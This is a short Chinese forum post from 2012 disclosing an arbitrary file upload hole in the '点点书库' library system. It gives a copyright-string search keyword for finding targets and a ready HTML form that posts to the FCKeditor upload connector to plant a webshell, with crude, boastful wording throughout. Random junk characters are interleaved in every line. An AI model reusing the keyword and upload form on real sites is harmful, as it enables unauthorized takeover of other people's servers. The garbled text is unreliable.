主题:图书馆系统任意文件上传漏洞
; V8 y- I5 F/ }0 i( U2 v ` 作者:冰锋刺客
1 m6 q8 T' w# `) A1 @& E B1 e2 k 厂商:点击书(dianjishu.com)
6 h( M: A0 h1 f4 V/ E- y/ g3 F 日期:2012-6-21* o8 d A2 @- n3 b( f, t+ A, g
5 l T. z2 ^( v) j1 D* d+ vI 概述
8 j. q4 ~4 z8 X& b# T( x 点点书库图书馆系统存在文件上传漏洞，导致可以直接拿webshell+ r# V! ^- r/ N' F0 F8 o
II 简介/ |/ [& }- P7 ?7 ~: ^) x( a$ W
关键词:"Copyright (C) 点点电子书库 2009-2010, All Rights Reserved"- J. z0 o+ a1 S+ j
补充一个漏洞
# n4 Y2 |' T3 g9 V2 ~ <form id="frmUpload" enctype="multipart/form-data"4 o0 ^$ l2 ~- X/ q# c
action="http://url/admin/js/fckeditor/editor/filemanager/connectors/aspx/upload.aspx?Type=Media" method="post">请上传您的马子<br><input type="file" name="NewFile" size="50"><br>* E4 M. G* z1 ^- q* p
<input id="btnUpload" type="submit" value="操翻他"># W4 `2 K6 M! z& N- f
</form>2 W4 j) [5 E) I2 v8 {* }
你们懂的
8 W6 B# D1 Q2 n' t: F7 ? 那傻逼提供还需要改包." H" e( s7 g) F+ J7 L
自己看了下源代码发现fckeditor
( x! t* I7 m& W- j 直接秒杀9 P- N; h) P6 i: W. Q$ a9 q
|
发表于 2012-9-10 21:20:59
收藏
支持
反对